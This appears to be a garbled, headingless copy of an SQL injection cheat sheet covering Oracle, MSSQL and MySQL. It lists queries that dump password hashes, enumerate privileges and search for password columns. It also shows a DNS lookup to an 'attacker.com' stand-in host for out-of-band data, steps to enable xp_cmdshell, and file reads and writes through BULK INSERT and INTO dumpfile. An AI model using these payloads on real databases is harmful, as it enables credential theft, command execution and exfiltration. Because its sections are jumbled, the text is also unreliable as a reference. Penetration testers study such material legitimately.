I.T.

SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’;

SELECT version FROM v$instance;

– NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table.

SELECT name FROM sys.user$; — priv

SELECT name,spare4 FROM sys.user$ — priv, 11g

SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs

SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv

SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;

SELECT name FROM v$database;

SELECT instance_name FROM v$instance;

SELECT SYS.DATABASE_NAME FROM DUAL;

– Also query TNS listener for other databases.  See tnscmd (services | status).

SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;

SELECT owner, table_name FROM all_tables;

SELECT bitand(6,1) FROM dual; — returns0

SELECT CAST(’1′ AS int) FROM dual;

SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2

SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — if reverse looks are slow

SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow

SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow

– Also see Heavy Queries to create a time delay

SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual;

SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;Java can be used to read and write files if it’s installed (it is not available in Oracle Express).

SELECT host_name FROM v$instance;

SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address

SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — gets hostnames

SYSAUX

SELECT /*comment*/1

SELECT system_user;

SELECT user;

SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID

SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000.  Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer.

SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;

SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005

SELECT permission_name FROM master..fn_my_permissions(null, ‘DATABASE’); — current database

SELECT permission_name FROM master..fn_my_permissions(null, ‘SERVER’); — current server

SELECT permission_name FROM master..fn_my_permissions(‘master..syslogins’, ‘OBJECT’); –permissions on a table

SELECT permission_name FROM master..fn_my_permissions(‘sa’, ‘USER’);

–permissions on a user– current privs in 2005, 2008

SELECT is_srvrolemember(‘sysadmin’);

SELECT is_srvrolemember(‘dbcreator’);

SELECT is_srvrolemember(‘bulkadmin’);

SELECT is_srvrolemember(‘diskadmin’);

SELECT is_srvrolemember(‘processadmin’);

SELECT is_srvrolemember(‘serveradmin’);

SELECT is_srvrolemember(‘setupadmin’);

SELECT is_srvrolemember(‘securityadmin’);

– who has a particular priv? 2005, 2008

SELECT name FROM master..syslogins WHERE denylogin = 0;

SELECT name FROM master..syslogins WHERE hasaccess = 1;

SELECT name FROM master..syslogins WHERE isntname = 0;

SELECT name FROM master..syslogins WHERE isntgroup = 0;

SELECT name FROM master..syslogins WHERE sysadmin = 1;

SELECT name FROM master..syslogins WHERE securityadmin = 1;

SELECT name FROM master..syslogins WHERE serveradmin = 1;

SELECT name FROM master..syslogins WHERE setupadmin = 1;

SELECT name FROM master..syslogins WHERE processadmin = 1;

SELECT name FROM master..syslogins WHERE diskadmin = 1;

SELECT name FROM master..syslogins WHERE dbcreator = 1;

SELECT name FROM master..syslogins WHERE bulkadmin = 1;

SELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.

SELECT name FROM master..syslogins WHERE sysadmin = ’1′ — tested on 2005

SELECT DB_NAME(N); — for N = 0, 1, 2, …

SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;

SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable

SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each column containing the word ‘password’

SELECT 6 & 1 — returns 0

SELECT CAST(1 as char)

– Also check out theDNS tunnel feature of sqlninja

EXEC sp_configure ‘show advanced options’, 1; — priv

RECONFIGURE; — priv

EXEC sp_configure ‘xp_cmdshell’, 1; — priv

RECONFIGURE; — priv

BULK INSERT mydata FROM ‘c:boot.ini’;

DROP TABLE mydata;

EXEC sp_helpdb pubs; –location of pubs.mdf

model

msdb

pubs — not on sql server 2005

tempdb

SELECT /*comment*/1;

SELECT system_user();

SELECT distinct(db) FROM mysql.db — priv

SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0

SELECT 6 & 1; # returns 0

SELECT cast(’123′ AS char);

SELECT CONCAT(‘A’,'B’,'C’); # returns ABC

SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system

mysql